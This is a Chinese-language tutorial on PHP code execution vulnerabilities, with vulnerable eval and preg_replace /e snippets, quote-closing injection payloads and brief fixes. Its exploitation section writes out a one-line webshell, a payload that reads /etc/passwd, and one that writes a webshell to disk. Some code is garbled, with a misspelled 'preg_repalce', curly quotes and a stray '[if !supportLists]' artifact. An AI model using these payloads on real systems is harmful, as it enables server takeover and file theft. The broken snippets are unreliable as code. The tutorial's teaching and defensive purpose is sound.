代码执行漏洞的成因:
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
代码执行相关函数:
PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec
Java: Java中没有php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等,这些都能造成代码执行漏洞。
代码执行漏洞的案例:
1. 可控点为待执行的程序。
<?php
$data = $_GET[‘data’];
eval (“\$ret = $data;”);
echo $ret;
?>
使用:直接传入我们想要执行的PHP代码。
2. 可控点某函数的参数值且被单引号包裹。
<?php
$data = $_GET[‘data’];
eval (“\$ret = strtolower(‘$data’);”);
echo $ret;
?>
使用:必须先闭合单引号。
Pl:’);所需函数;//
[if !supportLists]3. [endif]可控点某函数的参数值且被双引号包裹。
<?php
$data = $_GET[‘data’];
eval (“\$ret = strtolower(“\’’$_data\”);”);
echo $ret;
?>
Pl: {${所需函数}}
“);所需函数;//
在PHP中,双引号里面如果包含有变量,PHP解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
4. preg_replace()+/e(PHP版本<5.5.0)
<?php
$data = $_GET[‘data’];
preg_repalce(‘/<data>(.*)<\ /data>/e’, ’$ret=”\\1”;’ $data);
echo $ret;
?>
{${所需函数}}</data>
代码执行漏洞的利用:
一句话木马
${@eval($_POST[1])}
获取当前工作路径
${exit(print(getcwd()))}
使用菜刀
读文件
${exit(var_dump(file_get_contents($_POST[f])))}
f=/etc/passwd
使用post提交数值 f=/etc/passwd
写webshell
${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
f=1.php&d=1111111
同样使用post
代码执行漏洞修复方案:
对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。
对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes
对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。